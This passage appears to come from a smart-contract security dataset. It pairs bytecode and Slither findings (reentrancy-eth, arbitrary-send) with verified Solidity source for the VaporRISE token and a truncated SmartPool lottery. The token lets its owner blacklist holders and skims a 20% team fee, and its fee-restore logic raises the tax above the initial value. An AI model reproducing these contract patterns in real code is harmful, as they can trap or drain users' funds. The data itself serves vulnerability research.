5b6004805460405163a9059cbb60e01b81523392810192909252602482018390526001600160a01b03169063a9059cbb90604401602060405180830381600087803b158015610c4a57600080fd5b505af1158015610c5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c82919061135f565b610c8b57600080fd5b5060006005556006805467ffffffffffffffff1916426001600160401b0316179055565b6000805480610cd0575050600654600160801b90046001600160801b031690565b600654600090600160401b90046001600160401b0316610cee61085c565b036001600160401b03169050816005548202670de0b6b3a76400000281610d2557634e487b7160e01b600052601260045260246000fd5b6006546001600160801b03600160801b90910416919004019392505050565b610d4c610575565b33600090815260016020526040902054610d65906104d6565b565b6003546001600160a01b03163314610d915760405162461bcd60e51b815260040161070390611445565b61089a81611218565b336000908152600160205260409020546001600160801b0382161115610e025760405162461bcd60e51b815260206004820152601a60248201527f77697468647261773a2062616c616e6365206973206c6f7765720000000000006044820152606401610703565b33600090815260016020526040812080546001600160801b0384169081900390915581540390556002546001600160a01b031680610ed85760405160009033906001600160801b038516908381818185875af1925050503d8060008114610e85576040519150601f19603f3d011682016040523d82523d6000602084013e610e8a565b606091505b5050905080610ed25760405162461bcd60e51b8152602060048201526014602482015273657468207472616e73666572206661696c75726560601b6044820152606401610703565b50610fba565b60025460405163a9059cbb60e01b81523360048201526001600160801b03841660248201526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b158015610f2c57600080fd5b505af1158015610f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f64919061135f565b6040518060400160405280601c81526020017f7374616b656420746f6b656e207472616e73666572206661696c65640000000081525090610fb85760405162461bcd60e51b815260040161070391906113f2565b505b6040516001600160801b038316815233907f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d59060200160405180910390a25050565b6002546001600160a01b03168061103957600080543490810182556001600160a01b038516825260016020526040909120805490910190556111d4565b34156110765760405162461bcd60e51b815260206004820152600c60248201526b0dcdedc5af4cae4de40cae8d60a31b6044820152606401610703565b6000826001600160801b0316116110c05760405162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b6044820152606401610703565b6040516323b872dd60e01b81523360048201523060248201526001600160801b03831660448201526001600160a01b038216906323b872dd90606401602060405180830381600087803b15801561111657600080fd5b505af115801561112a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114e919061135f565b6040518060400160405280601c81526020017f7374616b656420746f6b656e207472616e73666572206661696c656400000000815250906111a25760405162461bcd60e51b815260040161070391906113f2565b50600080546001600160801b03841690810182556001600160a01b038516825260016020526040909120805490910190555b6040516001600160801b03831681526001600160a01b038416907f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d9060200161073a565b6001600160a01b03811661127d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610703565b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b03811681146112f057600080fd5b919050565b80356001600160801b03811681146112f057600080fd5b60006020828403121561131d578081fd5b611326826112d9565b9392505050565b6000806040838503121561133f578081fd5b611348836112d9565b9150611356602084016112f5565b90509250929050565b600060208284031215611370578081fd5b81518015158114611326578182fd5b600060208284031215611390578081fd5b611326826112f5565b600080604083850312156113ab578182fd5b6113b4836112f5565b915060208301356001600160401b03811681146113cf578182fd5b809150509250929050565b6000602082840312156113eb578081fd5b5051919050565b6000602080835283518082850152825b8181101561141e57858101830151858201604001528201611402565b8181111561142f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008282101561149857634e487b7160e01b81526011600452602481fd5b50039056fea2646970667358221220a7c37958f837dbb5465b12d14e1bea46dded5a838459ed96efe139e2400f96bc64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,160 |
0x734527e7B3b1E8b78ecb75C60039247b2080fC14 | /**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract VaporRISE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "VaporRISE";
string private constant _symbol = "VAPORRISE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f6578063c3c8cd8014610316578063c9567bf91461032b578063d543dbeb14610340578063dd62ed3e1461036057600080fd5b8063715018a6146102675780638da5cb5b1461027c57806395d89b41146102a4578063a9059cbb146102d657600080fd5b8063273123b7116100dc578063273123b7146101d4578063313ce567146101f65780635932ead1146102125780636fc3eaec1461023257806370a082311461024757600080fd5b806306fdde0314610119578063095ea7b31461015d57806318160ddd1461018d57806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260098152685661706f725249534560b81b60208201525b60405161015491906119f9565b60405180910390f35b34801561016957600080fd5b5061017d61017836600461188a565b6103a6565b6040519015158152602001610154565b34801561019957600080fd5b5069d3c21bcecceda10000005b604051908152602001610154565b3480156101c057600080fd5b5061017d6101cf36600461184a565b6103bd565b3480156101e057600080fd5b506101f46101ef3660046117da565b610426565b005b34801561020257600080fd5b5060405160098152602001610154565b34801561021e57600080fd5b506101f461022d36600461197c565b61047a565b34801561023e57600080fd5b506101f46104c2565b34801561025357600080fd5b506101a66102623660046117da565b6104ef565b34801561027357600080fd5b506101f4610511565b34801561028857600080fd5b506000546040516001600160a01b039091168152602001610154565b3480156102b057600080fd5b506040805180820190915260098152685641504f525249534560b81b6020820152610147565b3480156102e257600080fd5b5061017d6102f136600461188a565b610585565b34801561030257600080fd5b506101f46103113660046118b5565b610592565b34801561032257600080fd5b506101f4610636565b34801561033757600080fd5b506101f461066c565b34801561034c57600080fd5b506101f461035b3660046119b4565b610a31565b34801561036c57600080fd5b506101a661037b366004611812565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b3338484610b05565b5060015b92915050565b60006103ca848484610c29565b61041c843361041785604051806060016040528060288152602001611bca602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103b565b610b05565b5060019392505050565b6000546001600160a01b031633146104595760405162461bcd60e51b815260040161045090611a4c565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a45760405162461bcd60e51b815260040161045090611a4c565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e257600080fd5b476104ec81611075565b50565b6001600160a01b0381166000908152600260205260408120546103b7906110fa565b6000546001600160a01b0316331461053b5760405162461bcd60e51b815260040161045090611a4c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b3338484610c29565b6000546001600160a01b031633146105bc5760405162461bcd60e51b815260040161045090611a4c565b60005b8151811015610632576001600a60008484815181106105ee57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062a81611b5f565b9150506105bf565b5050565b600c546001600160a01b0316336001600160a01b03161461065657600080fd5b6000610661306104ef565b90506104ec8161117e565b6000546001600160a01b031633146106965760405162461bcd60e51b815260040161045090611a4c565b600f54600160a01b900460ff16156106f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610450565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072e308269d3c21bcecceda1000000610b05565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076757600080fd5b505afa15801561077b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079f91906117f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e757600080fd5b505afa1580156107fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081f91906117f6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086757600080fd5b505af115801561087b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089f91906117f6565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108cf816104ef565b6000806108e46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094757600080fd5b505af115801561095b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098091906119cc565b5050600f805468056bc75e2d6310000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f957600080fd5b505af1158015610a0d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106329190611998565b6000546001600160a01b03163314610a5b5760405162461bcd60e51b815260040161045090611a4c565b60008111610aab5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610450565b610aca6064610ac469d3c21bcecceda100000084611323565b906113a2565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b038216610bc85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b038216610cef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b60008111610d515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b6000546001600160a01b03848116911614801590610d7d57506000546001600160a01b03838116911614155b15610fde57600f54600160b81b900460ff1615610e64576001600160a01b0383163014801590610db657506001600160a01b0382163014155b8015610dd05750600e546001600160a01b03848116911614155b8015610dea5750600e546001600160a01b03838116911614155b15610e6457600e546001600160a01b0316336001600160a01b03161480610e245750600f546001600160a01b0316336001600160a01b0316145b610e645760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610450565b601054811115610e7357600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb557506001600160a01b0382166000908152600a602052604090205460ff16155b610ebe57600080fd5b600f546001600160a01b038481169116148015610ee95750600e546001600160a01b03838116911614155b8015610f0e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f235750600f54600160b81b900460ff165b15610f71576001600160a01b0382166000908152600b60205260409020544211610f4c57600080fd5b610f5742603c611af1565b6001600160a01b0383166000908152600b60205260409020555b6000610f7c306104ef565b600f54909150600160a81b900460ff16158015610fa75750600f546001600160a01b03858116911614155b8015610fbc5750600f54600160b01b900460ff165b15610fdc57610fca8161117e565b478015610fda57610fda47611075565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102057506001600160a01b03831660009081526005602052604090205460ff165b15611029575060005b611035848484846113e4565b50505050565b6000818484111561105f5760405162461bcd60e51b815260040161045091906119f9565b50600061106c8486611b48565b95945050505050565b600c546001600160a01b03166108fc61108f8360026113a2565b6040518115909202916000818181858888f193505050501580156110b7573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d28360026113a2565b6040518115909202916000818181858888f19350505050158015610632573d6000803e3d6000fd5b60006006548211156111615760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610450565b600061116b611410565b905061117783826113a2565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122857600080fd5b505afa15801561123c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126091906117f6565b8160018151811061128157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a79130911684610b05565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e0908590600090869030904290600401611a81565b600060405180830381600087803b1580156112fa57600080fd5b505af115801561130e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611332575060006103b7565b600061133e8385611b29565b90508261134b8583611b09565b146111775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b600061117783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611433565b806113f1576113f1611461565b6113fc848484611484565b806110355761103560056008556014600955565b600080600061141d61157b565b909250905061142c82826113a2565b9250505090565b600081836114545760405162461bcd60e51b815260040161045091906119f9565b50600061106c8486611b09565b6008541580156114715750600954155b1561147857565b60006008819055600955565b600080600080600080611496876115bf565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c8908761161c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f7908661165e565b6001600160a01b038916600090815260026020526040902055611519816116bd565b6115238483611707565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156891815260200190565b60405180910390a3505050505050505050565b600654600090819069d3c21bcecceda100000061159882826113a2565b8210156115b65750506006549269d3c21bcecceda100000092509050565b90939092509050565b60008060008060008060008060006115dc8a60085460095461172b565b92509250925060006115ec611410565b905060008060006115ff8e87878761177a565b919e509c509a509598509396509194505050505091939550919395565b600061117783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103b565b60008061166b8385611af1565b9050838110156111775760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b60006116c7611410565b905060006116d58383611323565b306000908152600260205260409020549091506116f2908261165e565b30600090815260026020526040902055505050565b600654611714908361161c565b600655600754611724908261165e565b6007555050565b600080808061173f6064610ac48989611323565b905060006117526064610ac48a89611323565b9050600061176a826117648b8661161c565b9061161c565b9992985090965090945050505050565b60008080806117898886611323565b905060006117978887611323565b905060006117a58888611323565b905060006117b782611764868661161c565b939b939a50919850919650505050505050565b80356117d581611ba6565b919050565b6000602082840312156117eb578081fd5b813561117781611ba6565b600060208284031215611807578081fd5b815161117781611ba6565b60008060408385031215611824578081fd5b823561182f81611ba6565b9150602083013561183f81611ba6565b809150509250929050565b60008060006060848603121561185e578081fd5b833561186981611ba6565b9250602084013561187981611ba6565b929592945050506040919091013590565b6000806040838503121561189c578182fd5b82356118a781611ba6565b946020939093013593505050565b600060208083850312156118c7578182fd5b823567ffffffffffffffff808211156118de578384fd5b818501915085601f8301126118f1578384fd5b81358181111561190357611903611b90565b8060051b604051601f19603f8301168101818110858211171561192857611928611b90565b604052828152858101935084860182860187018a1015611946578788fd5b8795505b8386101561196f5761195b816117ca565b85526001959095019493860193860161194a565b5098975050505050505050565b60006020828403121561198d578081fd5b813561117781611bbb565b6000602082840312156119a9578081fd5b815161117781611bbb565b6000602082840312156119c5578081fd5b5035919050565b6000806000606084860312156119e0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2557858101830151858201604001528201611a09565b81811115611a365783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad05784516001600160a01b031683529383019391830191600101611aab565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0457611b04611b7a565b500190565b600082611b2457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4357611b43611b7a565b500290565b600082821015611b5a57611b5a611b7a565b500390565b6000600019821415611b7357611b73611b7a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ec57600080fd5b80151581146104ec57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f2a96e17c9da2a176efb32e881a6ea50bff77f3939f41e7f8d89d16e23bdd95364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,161 |
0x00fc2e075bc935c7c4283d277b90e6b9c822a105 | pragma solidity ^0.4.16;
//Define the pool
contract SmartPool {
//Pool info
uint currAmount; //Current amount in the pool (=balance)
uint ticketPrice; //Price of one ticket
uint startDate; //The date of opening
uint endDate; //The date of closing (or 0 if still open)
//Block infos (better to use block number than dates to trigger the end)
uint startBlock;
uint endBlock;
//End triggers
uint duration; //The pool ends when the duration expire
uint ticketCount; //Or when the reserve of tickets has been sold
bool ended; //Current state (can't buy tickets when ended)
bool terminated; //true if a winner has been picked
bool moneySent; //true if the winner has picked his money
//Min wait duration between ended and terminated states
uint constant blockDuration = 15; // we use 15 sec for the block duration
uint constant minWaitDuration = 240; // (= 3600 / blockDuration => 60 minutes waiting between 'ended' and 'terminated')
//Players
address[] players; //List of tickets owners, each ticket gives an entry in the array
//Winning info
address winner; //The final winner (only available when terminated == true)
//Pool manager address (only the manager can call modifiers of this contract, see PoolManager.sol)
address poolManager;
//Create a pool with a fixed ticket price, a ticket reserve and/or a duration)
function SmartPool(uint _ticketPrice, uint _ticketCount, uint _duration) public
{
//Positive ticket price and either ticketCount or duration must be provided
require(_ticketPrice > 0 && (_ticketCount > 0 || _duration > blockDuration));
//Check for overflows
require(now + _duration >= now);
//Set ticketCount if needed (according to max balance)
if (_ticketCount == 0)
{
_ticketCount = (2 ** 256 - 1) / _ticketPrice;
}
require(_ticketCount * _ticketPrice >= _ticketPrice);
//Store manager
poolManager = msg.sender;
//Init
currAmount = 0;
startDate = now;
endDate = 0;
startBlock = block.number;
endBlock = 0;
ticketPrice = _ticketPrice;
ticketCount = _ticketCount;
duration = _duration / blockDuration; // compute duration in blocks
ended = false;
terminated = false;
moneySent = false;
winner = 0x0000000000000000000000000000000000000000;
}
//Accessors
function getPlayers() public constant returns (address[])
{
return players;
}
function getStartDate() public constant returns (uint)
{
return startDate;
